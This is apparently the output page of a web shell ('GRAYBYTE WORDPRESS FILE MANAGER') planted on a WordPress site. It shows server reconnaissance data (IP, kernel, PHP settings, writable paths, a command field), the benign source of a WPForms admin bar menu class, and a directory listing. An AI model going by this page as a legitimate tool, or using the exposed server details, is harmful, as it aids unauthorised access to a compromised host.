GRAYBYTE WORDPRESS FILE MANAGER3807

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wpforms/src/Pro/Admin/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wpforms/src/Pro/Admin//AdminBarMenu.php
<?php

namespace WPForms\Pro\Admin;

/**
 * WPForms admin bar menu.
 *
 * @since 1.6.0
 */
class AdminBarMenu extends \WPForms\Admin\AdminBarMenu {

	/**
	 * Register hooks.
	 *
	 * @since 1.6.0
	 */
	public function hooks() {

		parent::hooks();

		add_action( 'wpforms_admin_adminbarmenu_forms_menu_after', [ $this, 'view_entries_menu' ], 10, 2 );

		add_action( 'wpforms_admin_adminbarmenu_register_all_forms_menu_after', [ $this, 'entries_menu' ] );
	}

	/**
	 * Check if form contains a survey.
	 *
	 * @since 1.6.0
	 *
	 * @param array $form Form data array.
	 *
	 * @return bool
	 */
	public function has_survey( $form ) {

		if ( ! function_exists( 'wpforms_surveys_polls' ) ) {
			return false;
		}

		if ( ! empty( $form['settings']['survey_enable'] ) ) {
			return true;
		}

		if ( ! empty( $form['fields'] ) ) {
			foreach ( $form['fields'] as $field ) {
				if ( ! empty( $field['survey'] ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Render View Entries admin menu bar sub-item.
	 * Maybe include Survey results admin menu bar sub-item.
	 *
	 * @since 1.6.0
	 *
	 * @param \WP_Admin_Bar $wp_admin_bar WordPress Admin Bar object.
	 * @param array         $form         Form data.
	 */
	public function view_entries_menu( \WP_Admin_Bar $wp_admin_bar, $form ) {

		$form_id = absint( $form['id'] );

		$wp_admin_bar->add_menu(
			[
				'parent' => 'wpforms-form-id-' . $form_id,
				'id'     => 'wpforms-view-form-id-' . $form_id,
				'title'  => __( 'View Entries', 'wpforms' ),
				'href'   => admin_url( 'admin.php?page=wpforms-entries&view=list&form_id=' . $form_id ),
			]
		);

		if ( $this->has_survey( $form ) ) {
			$wp_admin_bar->add_menu(
				[
					'parent' => 'wpforms-form-id-' . $form_id,
					'id'     => 'wpforms-view-survey-results-id-' . $form_id,
					'title'  => __( 'Survey Results', 'wpforms' ),
					'href'   => admin_url( 'admin.php?page=wpforms-entries&view=survey&form_id=' . $form_id ),
				]
			);
		}
	}

	/**
	 * Render View Entries admin menu bar sub-item.
	 *
	 * @since 1.6.0
	 *
	 * @param \WP_Admin_Bar $wp_admin_bar WordPress Admin Bar object.
	 */
	public function entries_menu( \WP_Admin_Bar $wp_admin_bar ) {

		$wp_admin_bar->add_menu(
			[
				'parent' => 'wpforms-menu',
				'id'     => 'wpforms-entries',
				'title'  => __( 'Entries', 'wpforms' ),
				'href'   => admin_url( 'admin.php?page=wpforms-entries' ),
			]
		);
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
Builder
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
Entries
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
Settings
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:29
giriqfky / giriqfky
0644
AdminBarMenu.php
2.35 KB
June 23 2025 07:12:39
giriqfky / giriqfky
0644
DashboardWidget.php
30.499 KB
June 23 2025 07:12:39
giriqfky / giriqfky
0644
Education.php
18.748 KB
June 23 2025 07:12:39
giriqfky / giriqfky
0644
SiteHealth.php
3.886 KB
June 23 2025 07:12:39
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF